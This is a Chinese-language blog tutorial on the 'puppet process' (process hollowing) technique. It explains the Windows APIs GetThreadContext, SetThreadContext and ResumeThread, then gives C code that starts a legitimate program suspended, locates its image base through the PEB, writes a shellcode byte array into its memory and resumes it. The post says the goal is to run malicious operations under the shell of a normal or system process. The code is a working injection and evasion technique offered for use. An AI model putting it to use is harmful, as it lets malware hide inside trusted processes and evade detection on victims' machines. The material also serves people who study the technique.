隐藏技术-傀儡进程

本文最后更新于:2021-08-09 晚上

傀儡进程

借着正常的软件进程或者系统进程的外壳来进行恶意的操作。

函数介绍

GetThreadContext

检索指定线程的上下文

64位程序可以使用Wow64GetThreadContext检索WOW64线程的上下文。

1
2
3
4
BOOL GetThreadContext(
HANDLE hThread,
LPCONTEXT lpContext
);

hThread:要检索其上下文的线程的句柄。句柄必须有THREAD_GET_CONTEXT访问权限。

lpContext:指向上下文结构的指针,它接受指定线程适当的上下文。该结构中的ContextFlags成员可以指定检索线程上下文的哪些部分。上下文结构具有高度的处理器特性。

返回值:成功返回不为0,否则为0。

SetThreadContext

设置指定线程的上下文。64位可以用Wow64SetThreadContext设置

1
2
3
4
BOOL SetThreadContext(
HANDLE hThread,
const CONTEXT *lpContext
);

hThread:指定线程的句柄,并将设置其上下文。该句柄必须具有线程的THREAD_SET_CONTEXT权限。

lpContext:指向要在指定进程中设置上下文结构的指针。此结构中ContextFlags成员值可以指定要设置线程上下文的哪些部分。

返回值:如果设置了上下文,则返回值为非0,否则为0;

ResumeThread

减少线程的暂停计数。当暂停计数减到0时,恢复线程的执行。

1
2
3
DWORD ResumeThread(
HANDLE hThread
);

hThread:要重新启动线程的句柄。该句柄必须具有THREAD_SUSPEND_RESUME权限。

返回值:如果成功,返回值是线程先前挂起的计数,如果失败,则返回(DWORD)-1。

代码实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
#include <Windows.h>
#include <stdio.h>
BOOL ReplacProcess(char* pszFilePath);
char data[] = { 0x55 ,0x8B ,0xEC ,0x83 ,0xEC ,0x4C ,0xE8 ,0x15 ,0x01 ,0x00 ,0x00 ,0x89 ,0x45 ,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char* pszFilePath)
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
CONTEXT threadContext = { 0 };
RtlZeroMemory(&si, sizeof(si));
RtlZeroMemory(&pi, sizeof(pi));
RtlZeroMemory(&threadContext, sizeof(threadContext));
si.cb = sizeof(STARTUPINFO);
BOOL Flag = FALSE;
//创建挂起的进程
Flag = CreateProcess(pszFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
if (Flag == FALSE) {
printf("创建挂起进程失败\n");
return FALSE;
}
//获取线程的上下文
threadContext.ContextFlags = CONTEXT_FULL;
Flag = GetThreadContext(pi.hThread, &threadContext);
if (Flag == FALSE) {
printf("获取线程上下文失败\n");
return FALSE;
}
// 拿到目标进程主线程上下文后,在Ebx寄存器中保存的就是PEB的地址,
// 而PEB结构偏移0x8的位置是AddressOfImageBase字段,
// 所以直接来读取ctx.Ebx+0x8,就可以获取到目标进程的加载基址
LPVOID lpBuffer = 0;
Flag = ReadProcessMemory(pi.hProcess, (LPVOID)(threadContext.Ebx + 0x8), &lpBuffer, 4, NULL);
if (Flag == FALSE) {
printf("读取内存数据失败\n");
return FALSE;
}
//写入shellcode
Flag = WriteProcessMemory(pi.hProcess, (LPVOID)threadContext.Eax, data, sizeof(data), NULL);
if (Flag == FALSE) {
printf("写入数据失败\n");
return FALSE;
}
//恢复执行
ResumeThread(pi.hThread);
return TRUE;
}

运行程序可以看到成功弹出shellcode 的内容。

使用任务管理器查看可以看到傀儡进程。

参考

《Windows黑客编程技术详解》

创建傀儡进程代码


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!